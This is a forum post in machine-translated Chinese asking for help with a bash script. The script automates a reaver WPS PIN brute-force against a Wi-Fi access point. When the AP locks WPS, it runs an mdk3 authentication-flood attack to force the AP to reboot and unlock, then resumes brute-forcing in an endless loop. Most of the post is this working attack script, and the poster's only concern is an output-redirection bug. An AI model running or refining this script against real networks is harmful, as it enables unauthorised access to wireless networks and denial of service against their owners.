首先,對不起我可憐的英文不好。我正在嘗試編寫一個bash腳本,以便使用reaver執行AP WPS破解。問題是,在嘗試了一些WPS-PIN之後,AP鎖定了WPS,所以我的reaver不是有用的。bver script for reaver解鎖wps-locked狀態
爲了解決這個問題,我執行了一個mdk3
攻擊,強制AP重啓並能夠再次攻擊它(重啓後,WPS重新處於解鎖狀態)。
這種方法的問題是:
- 我必須要在PC鎖定的前面,當AP被鎖定,
- 製造mdk3攻擊,阻止它當AP重新啓動並再次執行襲擊。對此的解決方案顯然是一個腳本。
我寫了下面幾行來解決這個問題。
我不得不說,我是bash腳本編寫的總noob,所以腳本不是「專業的」,它只是一個「workarround」來解決我的問題。
#!/bin/bash
while true; do
# Switch to the correct channel and save it into $channel
echo Detecting AP channel
timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel
rm ap_channel 2> /dev/null
touch ap_channel
timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 2 | head -c 1)"
rm ap_channel
# Attacks the AP while it isn't wps-locked
rm ap_status 2> /dev/null
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null &
mdk3_pid=$!
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -n "$(grep Locked ap_status)" ]; do
echo Trying to reboot the AP
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 2 mins till AP init
sleep 120
done
在這個腳本的問題是,我使用的airodump中輸出的標準輸出重定向,如果我直接在比如果我執行它在腳本中的命令行執行它運行不同的。
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
我需要一種方法來在腳本內執行上面的行,就像我直接在tty中執行它一樣。我不能使用exec來執行此操作,因爲我需要繼續執行腳本。
注:我不能使用airodump-ng的-w選項,因爲它不保存WPS狀態。
有人可以幫助我嗎?